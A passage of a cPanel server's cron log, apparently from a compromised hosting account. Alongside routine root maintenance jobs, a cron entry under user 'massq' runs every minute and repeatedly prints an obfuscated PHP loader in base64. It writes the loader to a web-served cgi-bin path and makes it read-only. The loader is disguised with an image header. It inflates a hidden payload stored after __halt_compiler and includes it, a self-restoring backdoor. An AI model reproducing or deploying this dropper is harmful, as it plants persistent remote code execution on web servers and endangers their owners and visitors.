"$fp"; fi; chmod 444 "$fp")
Aug 31 20:14:01 server CROND[27418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:14:01 server CROND[27419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:14:01 server CROND[27420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:15:01 server CROND[27817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:15:01 server CROND[27819]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 20:15:01 server CROND[27821]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:15:01 server CROND[27827]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:15:01 server CROND[27823]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:15:01 server CROND[27826]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 20:15:01 server CROND[27828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:15:01 server CROND[27824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:15:01 server CROND[27825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:16:01 server CROND[28841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:16:01 server CROND[28842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:16:01 server CROND[28844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:17:01 server CROND[29229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:17:01 server CROND[29231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:17:01 server CROND[29230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:18:01 server CROND[29599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:18:01 server CROND[29600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:18:01 server CROND[29601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:19:01 server CROND[29966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:19:01 server CROND[29967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:19:01 server CROND[29968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:20:01 server CROND[30443]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:20:01 server CROND[30445]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 20:20:01 server CROND[30448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:20:01 server CROND[30449]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:20:01 server CROND[30451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:20:01 server CROND[30454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:20:01 server CROND[30457]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:20:01 server CROND[30450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:20:01 server CROND[30455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:21:01 server CROND[31282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:21:01 server CROND[31283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:21:01 server CROND[31284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:22:01 server CROND[31676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:22:01 server CROND[31677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:22:01 server CROND[31679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:23:01 server CROND[32060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:23:01 server CROND[32061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:23:01 server CROND[32062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:24:01 server CROND[32445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:24:01 server CROND[32447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:24:01 server CROND[32446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:25:01 server CROND[475]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:25:01 server CROND[484]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 20:25:01 server CROND[480]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:25:01 server CROND[479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:25:01 server CROND[483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:25:01 server CROND[486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
